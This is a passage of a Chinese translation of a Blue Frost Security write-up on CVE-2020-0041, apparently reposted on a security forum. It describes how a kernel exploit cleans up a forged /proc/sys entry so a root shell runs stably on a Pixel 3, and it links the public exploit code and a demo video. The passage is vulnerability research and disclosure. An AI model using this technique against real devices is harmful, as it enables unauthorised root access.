- 我们还在/ proc / sys中添加了一个伪造的条目,可以保留它,但是在那种情况下,它将指向属于我们的漏洞利用的页面,并且现在被内核回收了,我们决定只将其从rb-tree中删除。请注意,这会使该条目从userland中消失,但是内核中仍然有一个缓存的路径,由于我们使用的是随机名称,因此将来很少有人尝试通过直接打开它来访问它。
清除所有这些混乱之后,最终可以执行我们的root shell并看到uid 0而不会导致手机崩溃。
0x09 漏洞利用演示
以下视频显示了使用我们刚刚描述的漏洞从adb shell root手机的过程:
https://static.bluefrostsecurity.de/img/labs/blog/num_valid_root.mp4
可以在Blue Frost Security GitHub上找到本文和上一篇文章中描述的漏洞利用代码。自2020年2月起,该漏洞仅在使用固件的Pixel 3手机上进行了测试,并且需要针对其他固件进行调整。特别是,漏洞利用中使用了许多内核偏移,以及在内核版本之间可能有所不同的结构偏移。
https://github.com/bluefrostsecurity/CVE-2020-0041/ https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/
原文地址,如有不妥可参考原文:
https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课